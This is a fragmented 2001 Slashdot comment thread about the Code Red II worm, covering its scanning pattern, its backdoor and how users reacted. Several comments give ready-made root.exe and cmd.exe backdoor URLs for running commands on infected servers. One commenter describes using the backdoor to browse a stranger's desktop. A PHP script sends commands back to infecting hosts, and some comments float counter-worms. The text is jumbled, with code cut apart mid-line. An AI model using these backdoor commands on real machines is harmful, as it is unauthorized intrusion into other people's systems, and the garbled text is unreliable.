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Code Red Back For More
Brian Stretch writes: "The Code Red II worm was unleashed early this morning and appears to be very different than the original and far more dangerous. CR2 infected servers only attack servers within their Class A address block and their Class B address block in particular: since 9:11am EST I've logged 148 CR2 attack attempts, 89 of which are from within my Class B subnet, suggesting that only servers within Class A networks that were deliberately seeded are being attacked. The 24.x.x.x range is one of the hardest hit, and as before, it's folks with cable modems and DSL connections that are providing the most victims." Several @home customers have written about slowed service today, but they're definitely not alone.
>
> SO WHY THE HELL IS THE CORE FUNCTIONALITY OF MY PC allowed to distribute my personal information, crash during critical functionality, be succeptable to cracks and attacks that are easily preventable.
For his track record of trading security for market share, I'm just as happy as any Slashdotter to see Bill Gates' nuts roasted over a fire until they pop.
But the fact is, your PC - whether it runs CP/M, BeOS, FreeBSD, Linux, or Windows XP - is fundamentally different from embedded systems like your microwave and your car.
Design flaws can exist - in medicines, in consumer products, in closed-source applications, and yes, in open-source applications.
The reason the "core functionality" of your PC is "allowed" to distribute your private information is because it has to be able to do so if you're going to write emails to your friends.
The reason it's "allowed" to crash is the same reason automobiles are "allowed" to crash -- sometimes it's a design flaw (Code Red IIS exploit, BIND exploit, Ford Pinto gas tank that exploded on rear impact), and sometimes it's operator error (SirCam worm, drunk driver).
> I hope no one keeps personal, private, confidential and financial data on there pc's.
The only truly secure machine is the one that's been unplugged, powered down, encased in concrete, wrapped up in a Faraday cage, and then dropped into the Marianas Trench. Ya gotta do what ya gotta do.
Errrr.... More things named in my honor... This can't be good!
:-P
If worms start popping up with Linux4Green (my ICQ nick) then I know I'm bad luck.
--
CodeRed, the lower user #. No relation to SirCam.
It doesn't affect its own netspace exclusively. Initial analysis indicates that it will do so 6 out of 7 times. The 1 out of 7 will go outside its network range.
We'll have full details posted to the Incidents list shortly.
Should read: Several @Home users reported that everything was moving along normaly. Most of thier friends giggled and left the room.
one better than mcleodeight
What the fuck? What the fuck is going on? How the fuck is it that I can have old ladies calling me up at work (tech support for an ISP) and asking if the reason they can't pick up their email is because of the Code Red worm, 'cos they saw the press conference and, hey, they're wondering, and something like 105,000 separate IP addresses are still infected? Did the rapture happen when I wasn't looking, and God took the people responsible for these computers, those left behind couldn't find the passwords anywhere? How is this possible?
(I know, I know; not everyone lives w/in viewing distance of CNN, default installations of MS whatever -- but still, this absolutely amazes me.)
Carousel is a lie!
...Pick any one.
"that's not encryption - it's a new perl script that I'm working on..." - from some Matrix parody
Check out this heise.de article (in German, sorry)!!! Somebody apparently programmed a little Linux tool that may be able to slow the spread of the worm down a little. The idea was first introduced in the incidents.org forum. May be worth a look.
Might not remove the worm, but at least gets the "admin" (ha) to pay some attention. Maybe make a request for YOU_HAVE_THE_CODE_RED_WORM_YOU_MORON.HTML right before you do it in case they check the logs :)
Why not use the sort mentioned in the paper by Uri Guttman and Larry Rosler? It was made for this.
the good ground has been paved over by suicidal maniacs
Interesting.
Also...
Some states/jurisdictions do not allow the exclusion or limitation of incidental or consequential damages, so the above limitation or exclusion may not apply to you.
Does this really mean anything? Could somebody in some state conceivably sue them successfully? The rest of the EULA is an absolute, complete, iron-clad denial of any liability whatsoever. This last sentence is the only shred of hope I could find.
OTOH, be careful what you wish for. The GPL has similar disclaimers...
It just occurred to me to look up the definition of Class A/B/C addresses, and yup, I used the terms wrong in my story submission (argh!). What I meant to say was that when the worm generates addresses to scan, it appeared to always keep the first octet and a little over half the time (137 of 224 scans in my case) it keeps the second octet as well. That's no longer precisely true: I've since logged one scan from 152.72.x.x (grep XXXX access_log | grep -v 24.). And the high number of scans from within the first two octets may have more to do with that being a block of cable modem addresses rich in vulnerable IIS machines than anything else.
And now we know these poor bastards have been rootkitted. There has to be a way to use this to warn them?
As long as they don't change that to the worth of their software, or $5 US, wichever is more.
--I assume full responsibility for my actions, except the ones that are someone else's fault.
Unlike a car that explodes to a design flaw, software that explodes due to a design flaw seems to be immune to the civil justice system.
I prefer the thing I've heard pool players say. It's a combination shot, so they "combinate".
This next song is very sad. Please clap along. -- Robin Zander
This will not work. How is your worm going to spread if you fix the system?
The above is not worth reading.
This is very interesting. I've recently been studying spatial population models of dispersal, e.g. when trees release seeds, should they go a short distance or a long distance? I.e. which will make them more likely to survive, and what combination of strategies will be evolutionarily stable?
Short-distance dispersal is best on aggregated landscapes, where good habitat is likely to be nearby, although such strategies end up competing with themselves quite intensely. Long-distance dispersal is good on unclustered landscapes, where you're better off hoping to colonize a good site far away. But it turns out that mixed seem to really kick butt; they exploit local rich patches of resources, but an occasional long-distance propagule allows them to colonize far-off patches once in a great while, and also reduces intraspecific competition somewhat.
It would be really interesting seeing a few different Code Red's going with different proportions of near versus far dispersal, to see which one does best. It would tell us something about the aggregation of exploitable machines on the net. Although I suppose some people may object to such a study.
As an AC pointed out in another reply, the really clever thing to do would be to have an adaptive strategy with a bit of randomness in it (i.e. the parameters in the strategy are changing too). That way, it would eventually "find" the strategy that works best, and in fact different subpopulations could converge to different locally optimum strategies.
"Depression is merely anger without enthusiasm." - Anonymous
Taken from http://www.securitynewsportal.com/article.php?sid= 1354&mode=thread&order=0
= 1354&mode=thread&order=0 .
Code Red--the soda--has been spreading almost as fast as its namesake computer worm, which has infected hundreds of thousands of computers to date. The caffeine-laden, cherry-flavored version of its pale-yellow cousin, Mountain Dew, was released in May, months before the Code Red worm threatened to clog Internet traffic. And as computer security experts work to contain the damage from the Code Red worm, the soda's maker, Pepsi, is coincidentally featuring a "Crack the Code" contest on the Mountain Dew Web site.
Code Red has been an especially big hit with computer programmers, who often guzzle the high-octane drink to fuel late-night code-writing sessions. Among the drink's fans were the staff of eEye Digital Security, who say they identified the Code Red worm and named it after their favorite soda..
The rest of the story can be found on http://www.securitynewsportal.com/article.php?sid
Its funny. Laugh. Please?
I hereby propose we adopt your post as a convention.
We can thus encode "war stories" about the latest [worm/virus/trojan] as follows, saving Slashdot a fortune in bandwidth charges.
For instance, I can now describe my evening as follows:
"IIS. Code Red II. flaw. IIS. doesn't. FreeBSD. 429. worms. thousands. Apache. Apache. FreeBSD. company. worm. 6.2MB."
On the basis of that, this should work. I'll watch the logs with interest.
/scripts/root.exe?/c+ren+root.exe+infected.dat HTTP/1.0\r\n\r\n");
.$res );
<?php
header("HTTP/1.0 400 You cheeky fucker");
?>
<html>
<title>Red Alert</title>
<?php
$fp =fsockopen($REMOTE_ADDR,80,$en,$es,5);
if (!$fp)
{
echo "I tried to disinfect you, but couldn't connect: $es ($en)";
}
else
{
fputs ($fp, "GET
echo "I tried to disinfect you, and the server started to say:<h2>";
echo $res =fgets($fp,1024);
fclose($fp);
}
$log=fopen("/tmp/redalert.log","a");
fwrite($log,$REMOTE_ADDR . " " . date("r") . " "
fclose($log);
echo "</h2> $SERVER_SIGNATURE";
?>
Why do you call this pattern bizarre? That's how I'd scan if I wrote a worm: if you manage to infect a computer at a particular IP adress, then you have some evidence that computers 'close' to that one will probably be vulnerable as well, so you attempt to infect 'close' computers more than 'distant' ones.
You keep trying the 'distant' ones every now and then, just in case you get lucky.
-- Help Digitise the Public Domain at DP.
This worm is combining TWO worms; both the Code Red worm we know and love, and the less-recent SANDMIND worm (sp?), famous for running of DOS commands and posting an anti-US webpage at 'default.asp', 'default.html', 'index.asp', and 'index.html' on directories relative to the website root. Apparently this worm is using 'cmd.exe' to get root access; what it does beyond that, I have no idea... I haven't been hit by it. I guess the logic is .... if the box isnt patched against Code Red, chances are it isn't patched against SANDMIND, too.
Also, 90% of the 'NNNN's in my server logs came from my Class A subnet (and much more frequently than the 'XXXXX' requests).
Logs available upon request, etc.
So let me get this straight... Every machine on the planet practically has a list of infected IP addresses broadcasted to them, with a new one arriving every minute or so (up to 663 XXX's here in the past two hours).
So that means any loser with this list of infected IPs and some knowledge of perl literally has a small army of computers at their command?
I think we might be seeing some rather impressive DDoS attacks by this evening.
Hmm.. 3 more XXX's in the time it took me to write this... frequency's increasing...
Oh yeah, since you can't enter command to the prompt you need to pass the commands to execute as arguments to root.exe (which is really cmd.exe). You can do this by typing "GET /scripts/root.exe?/C%20dir" or something like that. Or you could enter http://somehost/scripts/root.exe?/C%20dir into your favourite browser.
I've found that typing absolute paths doesn't work for some reason, but http://somehost/scripts/root.exe?/C%20dir%20"..\.. \Documents%20and%20Settings\All%20Users\Desktop\" (remove the spaces) should bring you to the desktop.
I wanted to leave a message to the admin on the desktop but I have no idea how to do that since "echo" is part of cmd.exe and piping probably won't work too. Perhaps omeone with WinNT skills could offer some ideas?
Monkey sense
Apparently @home is monitoring it's customers for Code Red.
I'd JUST reinstalled Win2k Pro on a new system, I'd added IIS for my own purposes and before I had a chance to run the service pack and patch, I got the Code Red worm (ok, so I was lazy and tired and was going to leave it for the morning)
@home unbound my cablemodem until I'd cleared the worm (disable IIS, reboot).
normally, I'd be a little annoyed at @home for monitoring my connection and cutting my connection rather than just block all traffic to that IP at router level. but hey, it saved me from contributing to a problem.
If you're hearing rhetoric about Linux, open source, or Mac and everyone's bashing Microsoft, you've found Slashdot.
"Code red algorithm"??? It's called a random ip scan. In this variation, it's called a scan of the local subnet with a random ip thrown in every now and then. There's nothing special about it.
It's fast because that's how exponential growth works.
Modify the code red code to apply the security patch to the vulnerable IIS servers and reboot the system? While this is potentially destructive to your system (I'm told -- MS security patches and all that) it would pretty well take care of this problem...
Nah, this will just make the sysadmins even lazier.
SysAdmin #1: Dude, your NT machines are all infected with Code Red!
SysAdmin #2: I know! I'm just waiting for for them to be infected with the fix... should be any day now...
"And like that
1. It makes a copy of CMD.EXE called ROOT.EXE in the;
\inetpub\scripts
and
\program files\common files\system\msadc
directories. Does this on both drive C: and D: (doesn't fail if D: doesn't exist).
2. It then runs its attack program code to infect itself upon numerous other boxes. This is done randomly, although there is a bias to attack boxes that are part of the same class A as infected attacker (so it hits your own boxes sooner rather than later). Attack code runs for 24 hours, 48 hours on Chinese language systems.
3. After attack code runs (and it seems to be based on clock ticks, not date), it then writes out a Trojan.
File Explorer.exe (8192bytes or 7K as displayed by Windows) is dropped (from the code in the original attacking URL) to the root of drive C: and D: (again, doesn't matter if D: doesn't exist).
4. The system is then rebooted (probably a forced reboot).
5. When the system restarts, it loads the trojan Explorer.exe from the root directory on the boot drive. This code then does several things;
a) Launches the real Explorer.exe, so the system looks normal.
b) Sets SFCDisable in hklm\software\microsoft\windows nt\currentversion\winlogon to some undocumented value. Presumably this disables Windows File Protection (so critical files could be overwritten)
c) Creates two virtual directories (via the registry) in hklm\system\currentcontrolset\services\w3svc\param eters\virtual
roots. Called "C" and "D", they are mapped to the root directories of
the two drives and permissions are established in the virtual
directory to allow script, read, and write access as well as setting
execute permissions to scripts and executables.
d) goes into an endless sleep loop.
The end result of all of this action is to leave your box wide open to remote connection and total compromise.
Unlike "Code Red", this worm doesn't attack any single target at any point, although its attack strength seems to be much higher (it launches 300 threads right off, although some may only launch 100), so its propagation seems much higher.
The attack only works properly on Windows 2000 systems (preliminary analysis). ICSA Labs tested against an NT 4.0/IIS 4.0/SP3 box and received a standard error message. Reports from subscribers suggest that XP IIS 5.1 RC1 is invulnerable also. Its expected that it works on PWS and OWS equally to IIS (all on W2K).
Its obviously a short-lived attack, at least the process of collecting victims. What would be done with them once collected is another story. No attempt is made by the worm to send anything "home", although detecting compromised boxes is far too easy (very unfortunately) for anyone outside your network.
Cleaning a compromised box should really be done by reformatting. Although logging is left on for the new virtual directories created (meaning you'd see access in your IIS logs), there's really no way to be sure that files haven't been implanted to leave other backdoors (not as part of this worm, but as part of the use of the opening it creates).
Credits:
The bulk of the analysis was done by Nick Fitzgerald of Virus-L (and friends) and Roger Thompson of TruSecure. Additional help came from Bruce Hughes of the ICSA Labs.
Cheers,
Russ - Surgeon General of TruSecure Corporation/NTBugtraq Editor
Someone should copyright the "code red algorithm".
Or maybe patent it. Also how about sending the BSA after anyone running it without a licence.
WHY do i have to pay extra for the functionality of NOT being succeptable to virii and net attacks?
:-p
Actually, you don't. Linux is free
We don't have a state-run media we have a media-run state.
Look at his street address...
For those who are interested in the source:
http://www.kryptolus.com/red.txt
On another note, a server whose identity I will not name(solaris w/ apache) was hit with 17000 attacks as of yesterday(the server handles a lot of ips).
--
Violators will be prosecuted and prosecutors will be violated.
Ha ha, that was funny! Of course we know worms never infect unix or open source systems !
"And like that
>sullied by bad references to computer hacking
This doen't appear to be the case, at least not in the covenience store located in my building at work. Hearing the reference to the new soda 'popular with hackers' in the news report about the worm, I looked it up on Pepsi's website (having never heard of it).
When I discovered that it was a Mountain Dew flavor, I decided to wander downstairs to see if the guy had it in, and to possibly check it out.
"No, it is all gone... should have some more it by Monday."
Stopped at the local Dominick's yesterday where it was the same story. If anything, the worm has generated free publicity, seemigly resulting on a run on the product in the Elk Grove/Schaumburg/Palatine suburban area.
Remember, there is no such thing as "bad" pubilicity, right?
There is much cruelty in the universe, John.
Yeah, we seem to have the tour map.
I'm warned that smoking and drinking are bad for my health
Medicines and drugs aren't legal unless they're fully tested and approved
My car doesn't lock up and freeze
My microwave doesn't blue screen and cook my brain inside out.
SO WHY THE HELL IS THE CORE FUNCTIONALITY OF MY PC allowed to distribute my personal information, crash during critical functionality, be succeptable to cracks and attacks that are easily preventable.
WHY do i have to pay extra for the functionality of NOT being succeptable to virii and net attacks?
WHY doesn't microsoft NOTIFY me of the risks of using its OS?
I hope no ones bank is trusting microsoft, i hope anyone doing online transactions don't trust microsoft. I hope no one keeps personal, private, confidential and financial data on there pc's.
I hope no one running Windows is on the internet for that matter.
They are now: http://msnbc.com/news/606910.asp
Top Most Bizarre/Disturbing Error Messages
Seeing a lot of "XXXX" and far fewer "NNNN" in the logs. This version appears to stay crunchier in milk than the first. Up to 25-30 per hour, from 10 this afternoon. The 24.x.x.x may be getting slammed, but I can see another that is just as bad.
Snipped from incidents dot org (emphasis added)Article also mentions that it appears the compromised servers are backdoored and rooted. Ouch.
The editorial accusations of crying wolf might look a little pale this evening...
one better than mcleodeight
If this beast is truely wicked, it will scan assorted websites such as Slashdot, Wired, etc, and as soon as it will see talk about itself it will enter its active phase...
#!/bin/bash
# OK: the rationale behind this is that it will lookup the name of each host
# which probes us with the Code Red style probe, and then see whether that
# name resolves back to the number. If it does there's some hope that it's a
# real host, so we'll try to mail webmaster@
log=$HOME/codered.log
for ip in `grep default.ida
awk '{print $1}'`
do
grep "$ip" $log >
if [ $? -ne 0 ]
then # it's not there
echo $ip >> $log # remember so we don't mail them again
host=`dig -x $ip -Aq +nocmd +nostats +noheader +noauthor \
+noaddit | tail -3 | awk '{print $5}' | sed 's/\.$//'`
echo -n "Seen $ip [$host]"
echo $host | grep '^[a-z0-9.-]*$' >
if [ $? -eq 0 ]
then
echo -n "...appears to be valid..."
valid=`nslookup $host | tail -2 | grep '^Address:' |\
awk '{print $2}'`
fi
if [ "$ip" = "$valid" ]
then
mail -s "Your machine appears to be infected by Code Red" \
webmaster@$host <<EOF
Dear Webmaster
We have received a request for 'default.ida' from your server at
$ip. This is usually an indication that you have been
infected by the 'Code Red' or 'Code Red II' worm, currently
attacking Microsoft IIS servers. To secure your server, download
and install the appropriate patch from Microsoft
* Windows NT 4.0:
http://www.microsoft.com/Downloads/Release.asp?Re
* Windows 2000:
http://www.microsoft.com/Downloads/Release.asp?Re
Or, better still, switch to a proper operating system
EOF
echo "
else
echo " ? not valid?"
fi
fi
done
I've been hit by 61 different unique IP's today, of which 17 had IPs which resolved to addresses which resolved to the same IPs. So how many of my mails were actually accepted for delivery?
That's right, none.
I'm old enough to remember when discussions on Slashdot were well informed.
This won't break Microsoft's back .... consumers voting with their feet can only achieve that end.
Recently I was looking around for a new insurance company. Looking on the web I came across a couple of companies who would give me a quote if I provided them with some personal information. I was all set to deal with one site, whom I won't name, but I decided to first do a quick background check on them. Using netcraft I was able to tell they were running their site on IIS. That little bit of info told me that they weren't at all serious about keeping my personal information confidential.
Of course I decided not to pursue any business with them. But I also went a step further. I wrote them a quick email informing them that I would never do business with a company who was choosing to base their internet business on the most hacked application platform on the internet.
Let companies know that you won't do business with them if they use inferior products. Your quick and simple message to them will speak more loudly than a thousand rants on various message boards.
automatically generated list of attacks against my server
147 attacks so far
the page is generated through a perl script that reads my apache logs
--
Violators will be prosecuted and prosecutors will be violated.
This guy's computer is infected and attacking me every 10 minutes or so. I went to his web page and found this resume which indicates the guy is a Windows2000 expert and Network Technician!
Bah, what a waste. Screw that, here are some other things you should do along with your white hat program:
/. stories with one of two comments: "dammit, this is a duplicate! Here is the original at goatse.cx", or "Katz iz 4 t00l!!!1@".
:)
1. Distribute Elcomsoft's e-book reader to all compromised boxes; search for any Adobe e-books and write out a plaintext copy.
2. Append the code to DeCSS to all Word documents on the box.
3. Modify the code to only patch the box when Dmitry is finally released from jail.
4. Install Linux; reboot.
5. Install BSD; reboot.
6. Configure box to DoS MS's IIS patch servers; condemn MS for making patches inaccessible.
7. Script all boxes to respond to
8. Install SETI; add the box to your team; brag about your high score.
Note: these are jokes. Please, please, do not do these things. Especially because if you do, the feds will come knocking on my door.
Solution, never ever have your box plugged into the network while installing a Windows server. Only plug it in after all patches, service packs, and hot fixes have been applied first.
Since it seems that it's possible to run, and basically do, anything trivially on any of these infected computers via the root.exe "script" I'm guessing that a lot of shit is going to go down in the next two days that will probably be both good and bad for Microsoft and the public's understanding of network security.
/.'ers are doing one of two things:
:)) that it not be launched until after Monday afternoon around 3 or 4PM, since this is a serious problem for both sysadmin's and Microsoft. If a large part of the damage is avoided by white hat hackers sending a cure for the virus out, it will only happen again. If you don't give them time to sweat, then nothing will be changed and a even more malicious virus (which say, deletes the entire contents of the drives or something) will be unleashed soon enough.
I'm also guessing that right now a bunch of
1) Writing scripts to make things suck more for those who have been compromised (shame on you)
or
2) Writing scripts to fix the compromised servers
I propose that if a script is created to fix these servers (Code Green?
So, before you go out and launch a cure for the problem, think twice about the long term effects of doing so. Create it, make sure it works, and then the Open Source movement can release a cure for the problem faster than anyone else and "we" (I'm not really part of the OSS movement, or whatever) will look like the good guys. Instead of the media holding Microsoft on high for providing the cure to a problem they caused, if the patch is done and ready and launched by Monday afternoon they will have egg on their faces.
Thanks.
--
Modify the code red code to apply the security patch to the vulnerable IIS servers and reboot the system? While this is potentially destructive to your system (I'm told -- MS security patches and all that) it would pretty well take care of this problem...
I'm trying to teach myself to set people on fire with my mind... Is it hot in here?
Man, I'm glad that I'm not using [Microsoft Product]. This new [virus/worm/trojan] exploits a [flaw/bug/backdoor] in [Microsoft Product], and it [does/doesn't] use Outlook and the stupidity of users. Luckily, I'm running [Free alternative to Microsoft product], so I'm not at risk. In fact, [Free alternative to Microsoft product] has protected me from [any integer over 200] [viruses/worms/trojans]. And just look at the [hundreds/thousands/millions/billions] of dollars that I've saved using [Free alternative to Microsoft product]. I hope that this [Free alternative to Microsoft product] takes off, along with [free alternative to Microsoft OS]. Unfortunately, my [company/home] has to pay for the stupidity of Microsoft: this [virus/worm/trojan] sucked [250KB/250MB/250GB/250TB] of bandwidth!
My range, I don't seem to find anything coming from 127.x.x.x and I installed CodeRedII myself.
Basically the above code creates a virtual web path (/c and /d) which maps /c to c:\ and /d to d:\. The writer of this worm has put in this
functionality to allow for a backdoor to be placed on the system so even if
you remove the root.exe (cmd.exe prompt) from your /scripts folder an
attacker can still use the /c and /d virtual roots to compromise your
system. The attacks would basically look like:
http://IpAddress/c/inetpub/scripts/root.exe?/c+dir (if root.exe was still
there) or:
http://IpAddress/c/winnt/system32/cmd.exe?/c+dir Where dir could be any command an attacker would want to execute.
As long as the trojan explorer.exe is running then an attacker will be able to remotely access your server.
Man whoever did this put some thought into it.
Top Most Bizarre/Disturbing Error Messages